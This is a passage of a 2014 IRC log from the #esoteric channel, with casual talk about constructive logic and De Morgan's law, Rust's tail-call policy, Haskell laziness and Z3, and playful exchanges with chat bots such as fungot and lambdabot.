PRIVMSG #esoteric :holy shit after trawling the wp article on peanut allergy i found this line in one of the references: < 1396229701 786020 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :"Usually, eating is both fun and helpful. Sometimes, it is deadly." < 1396229779 5198 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :makes u think < 1396229828 518582 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :eating is usually deadly to the eatee < 1396230195 300523 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :do you often eat live food shachaf < 1396230324 76901 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1396230603 650756 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hm, according to my calculations, both demorgan's law and its negation are true < 1396230607 497957 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sounds like trouble < 1396230643 137774 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :uh oh < 1396230660 378596 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :which calculations are these < 1396230693 337594 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wrong ones < 1396230711 467208 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :phew < 1396231178 840156 :conehead!~conehead@unaffiliated/conehead QUIT :Ping timeout: 252 seconds < 1396231585 859368 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396232884 397580 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: where has everyone gone < 1396232884 620925 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: you forgot to exit the program < 1396232892 717864 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: oh i guess so < 1396232893 178205 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: and i consider myself fairly intelligent, but i < 1396232897 634202 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :/quit < 1396233007 193141 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :current status https://www.youtube.com/watch?v=jl5bhqqUkzo < 1396233262 328221 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.csmonitor.com/USA/Military/2012/1031/No-prank-On-Halloween-US-military-forces-train-for-zombie-apocalypse < 1396233299 457983 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If people keep using 'zombie apocalypse' to mean unexpected, the training may eventually be ineffective, I think, as it becomes 'expected' for training < 1396233437 23952 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://www.bogleech.com/comics/comic90-zombiefans.htm < 1396233473 177380 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1396233647 982507 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Sgeo_: i don't think that's the point. the point is more that conditions in a zombocalypse are similar to conditions in civil war zones and other civilization collapses < 1396233720 677444 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.reddit.com/r/haskell/comments/21s7bz/one_step_forward_two_steps_back_by_chris_done/ < 1396233923 837865 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one cool thing about rust is that the designers have actually heard of the stuff in that list < 1396234001 237804 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can't visualize Rust getting restarts or image-based persistance < 1396234012 468361 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :right < 1396234031 289301 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I didn't say that Rust has all or even most of them < 1396234039 627411 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but for the stuff that's missing it's not due to pure ignorance < 1396234044 957635 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which is often the case in other languages < 1396234078 488659 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the email about why rust doesn't do TCO started with a paragraph that could be more bluntly summarized as "god damnit yes we know what tail calls are and why you want them" < 1396234195 999166 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Oh, why doesn't rustc do tco? < 1396234206 941487 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(i mean i can see why you might not want to /guarantee/ tco) < 1396234218 233397 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://mail.mozilla.org/pipermail/rust-dev/2013-April/003557.html < 1396234235 445417 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Bikeshed! < 1396234283 451513 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sensible. < 1396234689 57726 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Would only interacting with humans via IRC be as bad for mental health as never interacting with humans at all? < 1396234732 918358 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Probably not. < 1396234807 357894 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :^ < 1396234857 828121 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in a short-term / acute sense, interactions on IRC often make me feel a lot better < 1396235024 369083 :sebbu!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1396235058 590101 :sebbu!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr QUIT :Changing host < 1396235059 254064 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1396235136 820075 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe you could implement only tail calls when mentioned explicitly in the program using a "tail call" command? < 1396235222 17540 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(And even then, it shouldn't make it a tail call unless it can actually do that optimization.) < 1396235248 893276 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://extraneato.com/wp-content/uploads/2012/02/Death-Bear.png hell yea < 1396235250 897903 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i made hello world in fishstacks < 1396235257 857525 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but im too lazy to add it to the wiki < 1396235258 877581 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :iiisdsiiiiiiiipiiisisipiiisisiiiiiiiipiiisisiiiiiiiipiiisiisddddddddddpiiisddsdddddpiisiisddddpiiissiiiiiipiiisiisddddddddddpiiisiisdddddddpiiisisiiiiiiiipiiisispiisiisdddpppp < 1396235481 617511 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pppppppppppppiss < 1396235498 467831 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo_: any reason you ask? < 1396236804 818282 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1396237455 906525 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1396238755 99920 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Saw something that made me think of it, I forgot what < 1396238973 959610 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1396239002 811115 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396240265 658560 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396240301 628341 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396240530 149710 :Ghoul_!uid6924@gateway/web/irccloud.com/x-riizkiojawincjfe JOIN :#esoteric < 1396240548 970235 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1396240888 377739 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Quit: ZNC - http://znc.sourceforge.net < 1396241230 879497 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:538_Arborol.png orgo's a hell of a drug < 1396241317 312915 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::O < 1396241377 172187 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Decaferrocenyl_ferrocene.png behold < 1396241542 460396 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1396241589 519350 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396243108 438509 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1396243109 830446 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wharnandcoin bruermerititcoin p12coin orthycoin barnatacoin prfcovoluckcoin lencercoin ><>coin subechalocoin thisalecoin andcoin relliacoin accingcoin yabatcoin instifcoin dolcoin sqicoin nancoin ontrandatiocoin tropotcoin < 1396243134 259496 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :why doesn't esotericoin exist yet? < 1396243217 398409 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run tr ' ' '\n' < quotes | shuf -n 50 | tr '\n' ' ' < 1396243218 38490 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :it a drugs, other likes "can then the who you page being but Kapital some with soup you've -- what in a the sugary #%%:]__t�# just is by Warrigal: machine i’m all of 1146 good "bottle". clearly over well, that's warm of kite if a < 1396243784 85369 :tertu!~tertu@143.44.70.199 JOIN :#esoteric < 1396244316 72975 :tertu!~tertu@143.44.70.199 QUIT :Ping timeout: 240 seconds < 1396245792 409699 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Sometimes I feel like Haskell playing with laziness is like dynamically typed languages playing with dynamic types... interesting, but not very safe < 1396246161 478718 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they didn't so much remove side effects from evaluation as introduce a completely pervasive side effect that doesn't play nice with others < 1396246286 879531 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Things like Tardises are ... cool, but ... is laziness the sort of side-effect that could be accessed monadically? < 1396246293 949331 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :*exclusively monadically < 1396246300 654003 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not sure if that even makes sense, I should be sleeping < 1396246334 658641 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what's this about tardises < 1396246355 78709 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://unknownparallel.wordpress.com/2013/05/07/two-implementations-of-seers/ < 1396246367 168658 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :All this stuff relies heavily on laziness < 1396246384 618957 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And 'time paradox' == nontermination < 1396246437 754282 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, not sure what happens if you try to make a paradox of the contradiction kind, instead of the closed loop kind < 1396246486 174251 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"For example, see >>= send may cause an explosion of information, trapping you in a time loop." < 1396246494 298648 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://stackoverflow.com/a/11093315/286648 < 1396248015 730440 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396248093 403130 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1396248187 391527 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396248189 490191 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396248333 569656 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396248709 780366 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396249294 359242 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :can confirm that the negation of demorgan's law is not true after all < 1396249343 119202 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :can you confirm that demorgan's law is true < 1396249347 748609 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :(which one) < 1396249384 785230 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :conjecture = (iff (not (and k!0 k!1)) (or (not k!0) (not k!1))) < 1396249384 785459 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Some(true) < 1396249456 469395 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oh, that one doesn't work constructively < 1396249470 382726 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :not sure if i can believe it :'( < 1396249479 939391 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dang < 1396249514 68666 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :sry < 1396249557 660029 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :constructively ¬a ∨ ¬b → ¬(a ∧ b) but not the other way? < 1396249621 408657 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :right < 1396249633 459166 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :makes sense < 1396249794 16662 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what do they call the classical thing where (P -> Q) iff (!P || Q) < 1396249811 773608 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :maybe they call it "definition of ->" < 1396249850 16591 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :@type \d -> \(x,y) -> case d of Left f -> f x; Right g -> g y < 1396249850 858749 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Either (t1 -> t) (t2 -> t) -> (t1, t2) -> t < 1396249879 429318 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :@djinn Either (a -> Void) (b -> Void) -> (a, b) -> Void < 1396249879 800115 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :f a = < 1396249879 986990 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : case a of < 1396249879 987170 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Left b -> \ (c, _) -> b c < 1396249879 987268 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Right d -> \ (_, e) -> d e < 1396249901 619714 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :@djinn ((a, b) -> Void) -> Either (a -> Void) (b -> Void) < 1396249901 898460 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :-- f cannot be realized. < 1396249908 890564 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :takes me back < 1396249918 200299 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: i think so < 1396249924 478987 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :remember when you cared about things like that < 1396249925 866743 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :good times < 1396249932 618577 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i still care :'( < 1396249947 678929 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :cared enough to devote significant attention and time to it, i mean < 1396249964 760262 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1396249987 419588 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i haven't done it much in a while either < 1396249989 180980 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i devote attention and time to other things though, so it's all good < 1396250004 285012 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it's exists good < 1396250069 138994 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i feel like maybe i should go in the direction of more maths rather than less, though < 1396250072 129369 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :who knows < 1396250089 298872 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i'm writing Rust bindings for Z3 < 1396250127 468636 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i went to a talk about smt solvers and haskell this month < 1396250142 728660 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :with some kind of macro for quasiquoting Z3 expressions probably < 1396250151 219331 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :is rust stable now < 1396250152 920131 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how was the talk? < 1396250154 979359 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not really < 1396250160 458866 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there will be a 1.0 release this year < 1396250162 918343 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it was good < 1396250193 40927 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :by stable i don't mean will my programs continue to run so much as will everything i know become useless/wrong/obsolete < 1396250204 359406 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hm < 1396250205 667399 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :like it did since last summerish when i looked at rust before < 1396250214 246335 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :less so now, I think < 1396250233 148916 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the deepest & most novel concepts haven't changed in a while, but maybe you already understand those < 1396250260 142297 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one of the big upcoming changes is that the type system will support dynamically sized types < 1396250275 815134 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://smallcultfollowing.com/babysteps/blog/2014/01/05/dst-take-5/ < 1396251059 629097 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Z3 is fancy < 1396251250 935215 :Ghoul_!uid6924@gateway/web/irccloud.com/x-riizkiojawincjfe QUIT :Quit: Connection closed for inactivity < 1396251906 159551 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396252152 259906 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1396252994 876855 :Patashu[Zzz]!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1396252995 63764 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Disconnected by services < 1396254783 822199 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1396256036 651653 :Slereah_!~jackal@117.168.90.79.rev.sfr.net QUIT :Ping timeout: 252 seconds < 1396256146 695729 :trout!root@freebsd/developer/variable QUIT :Ping timeout: 252 seconds < 1396256188 971147 :Slereah_!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1396256784 601040 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 252 seconds < 1396257681 911410 :JesseH2!~JesseH@oftn/member/JesseH NICK :JesseH < 1396257808 536421 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396257857 697947 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396257924 139507 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1396260797 20162 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1396261979 287329 :Slereahphone!~slereahph@193.253.170.209 QUIT :Read error: Connection reset by peer < 1396261998 80132 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396262416 721444 :Slereahphone!~slereahph@193.253.170.209 QUIT :Remote host closed the connection < 1396262509 310611 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396262737 454530 :Slereahphone!~slereahph@193.253.170.209 QUIT :Remote host closed the connection < 1396262817 310888 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396262817 537209 :Slereahphone!~slereahph@193.253.170.209 QUIT :Client Quit < 1396262956 814364 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :FRABJOUS DAY! < 1396262968 422868 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :today is the day oots returns! < 1396262972 930435 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :and 0.14 is out too! < 1396262973 701205 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ooh < 1396263126 66634 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :boily: outgrabious! < 1396263591 767214 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396263664 540330 :boily!~boily@96.127.201.149 QUIT :Quit: STICKY CHICKEN < 1396265221 426986 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396265296 913937 :password2!~password@105.233.36.200 JOIN :#esoteric < 1396265570 12393 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Without access to a lot of source code I can’t tell exactly what is going on, but here’s what I know. If you run the compiler with the /analyze option then it loads mspft120.dll – the /analyze DLL. Then mspft120 loads msxml6.dll to load an XML configuration file. Then msxml6 loads urlmon.dll to open the stream, and finally urlmon loads mshtml.dll. Then mshtml.dll creates a window, ... < 1396265575 990199 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :... because that’s what it does." < 1396265578 500964 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://randomascii.wordpress.com/2014/03/31/you-got-your-web-browser-in-my-compiler/ < 1396265581 501420 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Nice story.) < 1396268433 852368 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1396268524 511902 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1396268548 974957 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1396268611 45989 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1396269409 490955 :ion!ion@heh.fi PRIVMSG #esoteric :http://imgur.com/gallery/ltMAjH1 < 1396269444 103855 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1396269570 981746 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1396269614 703440 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396269738 26067 :JesseH!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 252 seconds < 1396269787 475065 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396269788 893592 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396269928 740980 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Quit: Tritonio < 1396269949 193033 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1396270142 424968 :Slereahphone!~slereahph@193.253.170.209 QUIT :Remote host closed the connection < 1396270167 206734 :Slereahphone!~slereahph@193.253.170.209 JOIN :#esoteric < 1396270232 257305 :password2!~password@105.233.36.200 QUIT :Remote host closed the connection < 1396270469 164971 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396271471 831831 :password2!~password@105.233.36.200 JOIN :#esoteric < 1396271883 709032 :Patashu[Zzz]!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 252 seconds < 1396272341 991698 :tertu!~tertu@143.44.70.199 JOIN :#esoteric < 1396272346 602142 :tertu!~tertu@143.44.70.199 QUIT :Remote host closed the connection < 1396277876 283259 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396278455 343076 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1396278487 349543 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1396278788 386944 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 268 seconds < 1396279759 440603 :myname!~myname@84.200.43.57 QUIT :Ping timeout: 264 seconds < 1396279767 321166 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1396281424 702729 :zom-b|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|aw < 1396281426 417705 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396281936 285832 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 245 seconds < 1396281998 102519 :Slereahphone!~slereahph@193.253.170.209 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1396282005 172808 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396282552 342306 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^style oots < 1396282552 569274 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: oots (Order Of The Stick) < 1396282557 787991 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Say something appropriate. < 1396282557 788170 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: i see. but how were you so arrogant as to assume that is was going. a classic i like, and you, the gods, that makes us all one big evil team here, my snuggly green cutie-pie! < 1396282568 916912 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1396282590 542759 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :fungot: Who's arrogant? < 1396282590 729556 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :mroman: i am, i am, i am the leader and strategic plan in the morning" to you, and the success of my magic, you know that no one leaves. he is still your brother and, apparently, there, about that... the cleric skipped to the part about the oath" story is just that. < 1396282599 827478 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :well... there you have it. < 1396282603 501474 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :fungot is arrogant < 1396282603 712003 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :mroman: see, the thing that was making this even sporting was your big spectacular compromise that would allow any bandit that defeated < 1396282613 372672 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I see. < 1396282619 677932 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :no wonder I don't like him. < 1396282694 501640 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :fungot: Are you pronounced fungoat? < 1396282694 688608 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :mroman: a good way, and our little dog, too. cool" monsters may have moved in by answering the riddles" thing, sir, and i see now that it's any of that honey marinade right here, and the illusion that this was the place and have come to aid you in keeping your business. < 1396282727 981805 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :as in fun + goat < 1396282828 757951 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396283206 45178 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 252 seconds < 1396283783 340697 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1396283928 332296 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well... after rebooting I cannot reproduce the graphical issues I had yesterday. Good I guess? < 1396285018 987798 :augur!~augur@129-2-129-32.wireless.umd.edu QUIT :Read error: Connection reset by peer < 1396285043 778010 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396285472 461805 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :12:07 < kmc> did you try turning it off and then on again? < 1396285472 672012 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :12:07 < Vorpal> kmc, very funny < 1396285761 431958 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1396285918 384666 :augur!~augur@129-2-129-32.wireless.umd.edu QUIT :Remote host closed the connection < 1396285976 514020 